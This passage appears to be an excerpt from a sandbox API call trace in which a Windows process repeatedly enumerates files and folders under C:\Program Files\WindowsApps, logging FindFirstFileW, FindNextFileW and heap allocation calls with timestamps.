lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.714] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0062.714] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 114 [0062.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x42802c0 [0062.714] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.715] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0062.715] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.715] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.715] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4343f18 [0062.715] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned 84 [0062.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\*", lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0x4280580 [0062.754] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.754] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.755] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.755] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.755] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.755] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.755] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.755] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.757] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.767] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.767] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.768] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.768] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.768] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0062.768] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.768] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.769] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.769] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.770] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.772] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0062.772] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0062.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.772] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.772] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.772] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.773] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.774] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.774] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.774] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.774] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.776] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.778] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.778] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.779] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.780] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.780] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.781] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.790] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.790] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0062.790] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.791] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0062.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.791] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0062.791] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.792] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0062.792] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.792] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.793] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.793] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.793] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.806] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.806] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.806] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.807] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.807] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.812] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.812] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.813] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.813] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.814] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.814] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.815] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.819] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.819] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.819] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.819] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.823] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.823] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.824] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.829] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.831] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.832] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0 [0062.832] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.834] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0062.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.855] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.869] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.869] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.869] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0062.869] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.871] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.920] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.920] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.920] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.920] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.922] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.922] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.923] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.923] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.926] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.926] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0062.927] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0062.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.927] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.939] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.939] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.940] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.940] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.940] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.940] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0062.940] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0062.940] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.940] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.940] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.940] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.941] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.947] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.947] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.947] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.947] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.947] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.955] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.955] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.957] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.957] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.957] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.957] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.970] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.970] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.971] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.971] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0062.971] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0062.971] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.971] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.971] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0062.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.975] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0062.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0062.978] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.978] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0062.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.987] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0062.988] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0062.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.989] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0063.192] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0063.192] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0063.192] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0063.192] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0063.192] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0063.192] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0063.192] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0063.194] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 1 [0063.308] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0063.308] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0063.549] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0063.549] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0063.965] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0063.965] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0063.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0063.975] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0063.981] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0063.981] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0064.624] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0064.624] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0065.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0065.616] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0065.707] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0066.343] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0066.343] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0066.343] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0066.343] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0066.343] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0068.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0068.355] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0069.056] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0069.465] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0069.465] FindNextFileW (in: 